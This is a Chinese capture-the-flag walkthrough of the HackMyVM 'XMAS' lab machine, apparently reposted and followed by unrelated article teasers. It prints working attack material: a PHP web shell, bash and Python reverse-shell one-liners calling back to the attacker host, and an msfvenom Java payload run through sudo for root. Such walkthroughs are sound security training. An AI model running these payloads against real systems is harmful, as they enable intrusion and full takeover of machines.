[HackMyVM]靶场 XMAS

kali:192.168.56.104

靶机:192.168.56.126

注意在/etc/hosts 添加 192.168.56.126 christmas.hmv

# cat /etc/hosts                                    
127.0.0.1       localhost
127.0.1.1       kali2
192.168.223.131 dc-2
192.168.223.134 wordy
192.168.56.105 midnight.coffee dev.midnight.coffee
192.168.56.108 adria.hmv
192.168.56.112 redrocks.win
192.168.56.126 christmas.hmv

端口扫描

# nmap 192.168.56.126
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-22 18:16 CST
Nmap scan report for christmas.hmv (192.168.56.126)
Host is up (0.00034s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

开了22 80端口

扫一下目录

# gobuster dir -u http://christmas.hmv -x html,txt,php,bak,zip --wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://christmas.hmv
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              txt,php,bak,zip,html
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 278]
/.html                (Status: 403) [Size: 278]
/images               (Status: 301) [Size: 315] [--> http://christmas.hmv/images/]
/index.php            (Status: 200) [Size: 22962]
/uploads              (Status: 301) [Size: 316] [--> http://christmas.hmv/uploads/]
/php                  (Status: 301) [Size: 312] [--> http://christmas.hmv/php/]
/css                  (Status: 301) [Size: 312] [--> http://christmas.hmv/css/]
/js                   (Status: 301) [Size: 311] [--> http://christmas.hmv/js/]
/javascript           (Status: 301) [Size: 319] [--> http://christmas.hmv/javascript/]
/fonts                (Status: 301) [Size: 314] [--> http://christmas.hmv/fonts/]

通过目录扫面可以初步判断有文件上传

看web

web往下滑看到文件上传点

随便传个php发现没有过滤

<?=`$_GET[0]`;

反弹shell

http://christmas.hmv/uploads/shell2.php?0=bash -c 'bash -i >%26 %2Fdev%2Ftcp%2F192.168.56.104%2F4567%20 0>%261'
# nc -lvnp 4567      
listening on [any] 4567 ...
connect to [192.168.56.104] from (UNKNOWN) [192.168.56.126] 55154
bash: cannot set terminal process group (668): Inappropriate ioctl for device
bash: no job control in this shell
www-data@xmas:/var/www/christmas.hmv/uploads$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@xmas:/var/www/christmas.hmv/uploads$ 

pspy64扫一下

www-data@xmas:/var/www/christmas.hmv/uploads$ wget http://192.168.56.104:6677/pspy64
www-data@xmas:/var/www/christmas.hmv/uploads$ chmod +x pspy64
www-data@xmas:/var/www/christmas.hmv/uploads$ ./pspy64
2024/03/22 10:22:47 CMD: UID=1000 PID=25019  | /bin/bash 
2024/03/22 10:22:47 CMD: UID=1000 PID=25018  | /usr/bin/python3 /opt/NiceOrNaughty/nice_or_naughty.py 
2024/03/22 10:22:47 CMD: UID=1000 PID=25017  | /bin/sh -c /usr/bin/python3 /opt/NiceOrNaughty/nice_or_naughty.py 
2024/03/22 10:22:47 CMD: UID=0    PID=25016  | /usr/sbin/CRON -f -P 
2024/03/22 10:22:47 CMD: UID=0    PID=25     | 
2024/03/22 10:22:47 CMD: UID=33   PID=24996  | /bin/bash 
2024/03/22 10:22:47 CMD: UID=33   PID=24995  | sh -c /bin/bash 
2024/03/22 10:22:47 CMD: UID=33   PID=24994  | /usr/bin/script -qc /bin/bash /dev/null 
2024/03/22 10:22:47 CMD: UID=33   PID=24980  | /bin/bash 
2024/03/22 10:22:47 CMD: UID=33   PID=24979  | sh -c /bin/bash 
2024/03/22 10:22:47 CMD: UID=33   PID=24978  | /usr/bin/script -qc /bin/bash /dev/null 
2024/03/22 10:22:47 CMD: UID=0    PID=24694  | 
2024/03/22 10:22:47 CMD: UID=0    PID=24693  | 
2024/03/22 10:22:47 CMD: UID=33   PID=24590  | bash -i 
2024/03/22 10:22:47 CMD: UID=33   PID=24589  | bash -c bash -i >& /dev/tcp/192.168.56.104/4567  0>&1 
2024/03/22 10:22:47 CMD: UID=33   PID=24588  | sh -c bash -c 'bash -i >& 
....
2024/03/22 10:22:47 CMD: UID=0    PID=1      | /sbin/init 
2024/03/22 10:23:36 CMD: UID=0    PID=25227  | 
2024/03/22 10:24:01 CMD: UID=0    PID=25228  | /usr/sbin/CRON -f -P 
2024/03/22 10:24:01 CMD: UID=1000 PID=25229  | /bin/sh -c /usr/bin/python3 /opt/NiceOrNaughty/nice_or_naughty.py 
2024/03/22 10:24:01 CMD: UID=1000 PID=25230  | /usr/bin/python3 /opt/NiceOrNaughty/nice_or_naughty.py 

发现会定时执行一个python脚本/opt/NiceOrNaughty/nice_or_naughty.py 

www-data@xmas:/var/www/christmas.hmv/uploads$ ls -al /opt/NiceOrNaughty/nice_or_naughty.py 
<oads$ ls -al /opt/NiceOrNaughty/nice_or_naughty.py 
-rwxrwxrw- 1 root root 216 Mar 22 10:03 /opt/NiceOrNaughty/nice_or_naughty.py

这个py文件是可以修改的,那么直接改成反弹shell

echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.104",4567));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' >/opt/NiceOrNaughty/nice_or_naughty.py

kali开个监听然后登就行了

# nc -lvnp 4567
listening on [any] 4567 ...
connect to [192.168.56.104] from (UNKNOWN) [192.168.56.126] 53012
alabaster@xmas:~$ ls -al
ls -al
total 60
drwxr-x--- 7 alabaster alabaster 4096 Nov 20 18:43 .
drwxr-xr-x 9 root      root      4096 Nov 19 22:29 ..
-rw------- 1 alabaster alabaster  791 Nov 20 19:28 .bash_history
-rw-r--r-- 1 alabaster alabaster  220 Jan  7  2023 .bash_logout
-rw-r--r-- 1 alabaster alabaster 3771 Jan  7  2023 .bashrc
drwx------ 3 alabaster alabaster 4096 Nov 19 11:07 .cache
drwxrwxr-x 4 alabaster alabaster 4096 Nov 19 11:08 .local
-rw-rw-r-- 1 alabaster alabaster   46 Mar 22 10:02 naughty_list.txt
-rw-rw-r-- 1 alabaster alabaster   13 Mar 22 10:02 nice_list.txt
drwxrwxr-x 2 alabaster alabaster 4096 Nov 19 21:50 NiceOrNaughty
-rw-r--r-- 1 alabaster alabaster  807 Jan  7  2023 .profile
drwxrwxr-x 2 alabaster alabaster 4096 Nov 20 18:45 PublishList
-rw-rw-r-- 1 alabaster alabaster   66 Nov 19 21:43 .selected_editor
drwx------ 2 alabaster alabaster 4096 Nov 17 17:32 .ssh
-rw-r--r-- 1 alabaster alabaster    0 Nov 17 17:34 .sudo_as_admin_successful
-rw-rw---- 1 alabaster alabaster  849 Nov 19 09:08 user.txt
alabaster@xmas:~$ cat user.txt
cat user.txt||::|:||   .--------,|:||:|:|   |_______ /        .-.||::|:|| ."`  ___  `".    {\('v')/}\\\/\///:  .'`   `'.  ;____`(   )'___________________________\====/ './  o   o  \|~     ^" "^                          //\\//   |   ())) .  |   Merry Christmas!                   \||     \ `.__.'  /|                                     //||   _{``-.___.-'\|   Flag: HMV{7bMJ6js7guhQadYDTmBt}    \|| _." `-.____.-'`|    ___                              //||`        __ \   |___/   \______________________________\."||        (__) \    \|     //   `\/       __   vvvvv'\___/|     |      (__)        |\___/\                 /||  |     .___.     |||  |       |       |||.-'       |       '-.||          |          )||----------'---------'

弹回来的是alabaster用户的权限并且拿到user flag

sudo -l发现可以提权

alabaster@xmas:~$ sudo -l
sudo -l
Matching Defaults entries for alabaster on xmas:env_reset, mail_badpass,secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,use_ptyUser alabaster may run the following commands on xmas:(ALL : ALL) ALL(ALL) NOPASSWD: /usr/bin/java -jar/home/alabaster/PublishList/PublishList.jar

可以用root权限执行 /usr/bin/java /home/alabaster/PublishList/PublishList.jar

并且这个jar是alabaster用户的,我们可以自己重写一个jar反弹用来反弹shell

alabaster@xmas:~$ ls -al /home/alabaster/PublishList/PublishList.jar
ls -al /home/alabaster/PublishList/PublishList.jar
-rwxrwxr-x 1 alabaster alabaster 7505 Mar 22 10:09 /home/alabaster/PublishList/PublishList.jar

用kali生成

msfvenom -p java/shell_reverse_tcp LHOST=192.168.56.104 LPORT=4567 -f jar -o shell.jar

传到靶机上

labaster@xmas:~$ wget http://192.168.56.104:6677/shell.jar
alabaster@xmas:~$ chmod +x shell.jar
alabaster@xmas:~$ sudo /usr/bin/java -jar /home/alabaster/PublishList/PublishList.jar

成功提权

# nc -lvnp 4567
listening on [any] 4567 ...
connect to [192.168.56.104] from (UNKNOWN) [192.168.56.126] 48214
id
uid=0(root) gid=0(root) groups=0(root)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/282422.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Vue3中基本数据类型为什么需要.value,,,引用类型不需要.value

1、在v3中使用基本数据类型&#xff08;如数字、字符串、布尔值&#xff09;时&#xff0c;如果你希望响应式地更新数据并触发视图更新,需要使用ref包裹基本数据类型,然后将基本数据类型转化为响应式对象;- - - 因此当你使用ref包裹基本数据类型时,实际上得到的是一个包含.valu…

3D开发工具HOOPS如何助力3D项目实现扩展现实技术?

在当今数字化时代&#xff0c;扩展现实&#xff08;Augmented Reality&#xff0c;AR&#xff09;技术的应用已经逐渐深入到各行各业&#xff0c;为用户带来了前所未有的沉浸式体验。而在实现这种技术的开发过程中&#xff0c;HOOPS技术的运用无疑是一种强大的助力。HOOPS是一种…

git push出错: src refspec dev/xxx does not match any

使用如下命令gitp push出错: git push origin 远端分支名 git push origin dev/xxxx error: src refspec dev/xxxx does not match any error: failed to push some refs to https://git.woa.com/..... 解决方案 1: git push origin 本地分支名:远端分支名 解决方案2&#…

ROS机器人虚拟仿真挑战赛本地电脑环境配置测试

预备基础 此案例需要完成&#xff1a; ROS机器人虚拟仿真挑战赛本地电脑环境配置记录-CSDN博客 ROS机器人虚拟仿真挑战赛本地电脑环境配置个人问题汇总-CSDN博客 命令测试 在不同的终端窗口分别输入&#xff1a; 标签1&#xff1a; roslaunch tianracer_gazebo demo_tian…

【GIT】最好用的git可视化教程网站推荐

最好用可视化学习git 网站:https://learngitbranching.js.org/?demo&localezh_CN 玩遍所有关卡&#xff0c;花半天时间便能掌握git &#x1f603; 本地仓库 基础命令介绍 git commit 提交 git branch <分支名> 创建分支 git checkout <分支名> 切换分支 git…

堆叠与集群

8.1堆叠与集群概述 随着企业的发展&#xff0c;企业网络的规模越来越大&#xff0c;这对企业网络提出了更高的要求&#xff1a;更高的可靠性、更低的故障恢复时间、设备更加易于管理等。传统的园区网高可靠性技术出现故障时切换时间很难做到毫秒级别、实现可靠性的方案通常为一…

Windows11安装Msql8.0版本详细安装步骤!

文章目录 前言一、下载Mysql二、安装Mysql三、登录验证三、环境变量配置总结 前言 每次搭建新环境的时候&#xff0c;都需要网上搜寻安装的步骤教程&#xff01;为了以后方便查阅&#xff01;那么本次就记录一下Windows11安装Msql8.0的详细步骤&#xff01;也希望能帮助到有需…

手写简易操作系统(十三)--编写简单C库

前情提要 因为马上要涉及到一个非常重要的部分&#xff0c;内存管理&#xff0c;所以这里我们编写一个简单的C库&#xff0c;用于支持我们后续的C语言开发 一、Assert断言 assert其实如果大家对C语言比较熟悉的话并不陌生&#xff0c;这个函数被称为断言&#xff0c;也就是程…

HTTP 工作流程请求响应 - 面试常问

文章目录 HTTP 工作流程请求和响应格式HTTP请求格式请求行&#xff1a;请求头部字段&#xff1a;空行&#xff1a;消息正文&#xff08;请求正文&#xff09;&#xff1a; HTTP响应格式状态行&#xff1a;响应头部字段&#xff1a;空行&#xff1a; HTTP方法HTTP状态码常用HTTP…

消息队列—RabbitMQ如何保证消息可靠性?

1. 如何保证消息的可靠性&#xff1f; 先来看看我们的万年老图&#xff0c;从图上我们大概可以看出来一个消息会经历四个节点&#xff0c;只有保证这四个节点的可靠性才能保证整个系统的可靠性。 生产者发出后保证到达了MQ。MQ收到消息保证分发到了消息对应的Exchange。Exchan…

工厂投产、电池装车,广汽能上动力电池行业的“餐桌”吗?

文 | 智能相对论 作者 | 沈浪 “如果你不在餐桌上&#xff0c;你就会出现在菜单上。”在某种程度上&#xff0c;追逐效益的动力电池行业正在上演着布林肯的“餐桌菜单论”。 于是&#xff0c;我们可以看到&#xff0c;尽管整体的动力电池市场被宁德时代、比亚迪、LG新能源、…

AI基础知识(4)--贝叶斯分类器

1.什么是贝叶斯判定准则&#xff08;Bayes decision rule&#xff09;&#xff1f;什么是贝叶斯最优分类器&#xff08;Bayes optimal classifier&#xff09;&#xff1f; 贝叶斯判定准则&#xff1a;为最小化总体风险&#xff0c;只需在每个样本上选择那个能使条件风险最小的…

【Java常用API】正则表达式练习

&#x1f36c; 博主介绍&#x1f468;‍&#x1f393; 博主介绍&#xff1a;大家好&#xff0c;我是 hacker-routing &#xff0c;很高兴认识大家~ ✨主攻领域&#xff1a;【渗透领域】【应急响应】 【Java】 【VulnHub靶场复现】【面试分析】 &#x1f389;点赞➕评论➕收藏 …

c/c++整数和浮点数在内存中存储

了解变量的储存原理是我们灵活运用和防止数据截断改变带来的危害的有效途径。 那么我们从int char和float double两类来阐述内存的储存。 首先我们讲内存单位&#xff1a; 内存单位从小到大分别是bit byte KB MB GB TB PB。 bit是最小的内存单位&#xff0c;它可以存储一…

【嵌入式——QT】QWT应用

【嵌入式——QT】QWT应用 概述步骤一步骤二步骤三代码声明代码实现图示 概述 QWT&#xff0c;全称Qt Widgets for Technical Applications&#xff0c;是一个基于Qt开发的第三方库。它主要为具有技术背景的程序提供GUI组件和一组实用类&#xff0c;用于生成各种统计图。QWT的主…

科技助力高质量发展:新质生产力的崛起与企业数字化转型

引言 随着科技的飞速发展&#xff0c;我们正逐渐步入数字化智能时代&#xff0c;这个时代不仅为企业带来了无限的机遇&#xff0c;也让其面对前所未有的挑战。在这个快速变革的时代&#xff0c;企业必须不断调整自己的经营策略&#xff0c;适应数字化转型的浪潮&#xff0c;以…

时间减少90%以上!分布式系统的性能优化实战

1背景 分布式批量系统指的是采用分布式数据库架构&#xff0c;主体功能由批量程序实现的系统。分布式系统批量程序的性能测试&#xff0c;除了和联机交易性能测试一样关注服务器资源使用率是否合理、是否存在性能异常外&#xff0c;在测试执行阶段需要关注是否因数据分布不均衡…

初识二叉树

文章目录 一.什么是树二.什么是二叉树三.二叉树的访问次序四.特殊的二叉树五.求结点个数六.平衡二叉树总结 一.什么是树 树是由一个集合以及在该集合上定义的一种关系构成的。 集合中的元素称为树的节点&#xff0c;所定义的关系称为父子关系。 父子关系在树的节点之间建立了一…

RuoYi-Vue-Plus(基础知识点jackson、mybatisplus、redis)

一、JacksonConfig 全局序列化反序列化配置 1.1yml中配置 #时区 spring.jackson.time-zoneGMT8 #日期格式 spring.jackson.date-formatyyyy-MM-dd HH:mm:ss #默认转json的属性&#xff0c;这里设置为非空才转json spring.jackson.default-property-inclusionnon_null #设置属性…

JetPack之DataBinding基础使用

目录 一、简介二、使用2.1 使用环境2.2 xml文件绑定数据2.3 数据绑定的对象2.3.1 object2.3.2 ObseravbleField2.3.3 ObseravbleCollection 2.4 绑定数据 三、应用场景 一、简介 DataBinding是谷歌15年推出的library,DataBinding支持双向绑定&#xff0c;能大大减少绑定app逻辑…